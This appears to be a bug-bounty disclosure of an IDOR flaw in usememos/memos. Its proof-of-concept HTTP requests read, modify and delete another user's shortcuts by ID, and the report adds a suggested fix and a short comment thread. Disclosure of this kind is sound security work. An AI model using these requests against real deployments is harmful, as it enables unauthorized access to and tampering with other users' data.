IDOR allows to see, update and delete other users shortcuts in usememos/memos


Reported on

Dec 26th 2022


Even if the endpoint /api/shortcut allow to see the list of your own shortcuts, it is possible to access, modify and delete other users shortcut accessing directly through the IDs.

Proof of Concept

  • Login with one user, and create a shortcut, let's consider it now has the ID 1
  • Login with another user

Now you are able to access to the shortcut with this:

GET /api/shortcut/1 HTTP/1.1
Host: localhost:5230

You can also delete it:

DELETE /api/shortcut/1 HTTP/1.1
Host: localhost:5230

And update it

PATCH /api/shortcut/1 HTTP/1.1
Host: localhost:5230

{"id":1,"title":"changed 2","payload":"[]"}


With this vulnerability, any user can access and manipulate other users shortcuts.


Add the CreatorID in the query. Also do it for PATCH and DELETE

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a year ago
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shortcut.go#L79 has been validated
Empty Mind
a month ago

Hi, How can i report a bug to this program, when I try from the submit report page it says enter a valid GitHub repository URL..!

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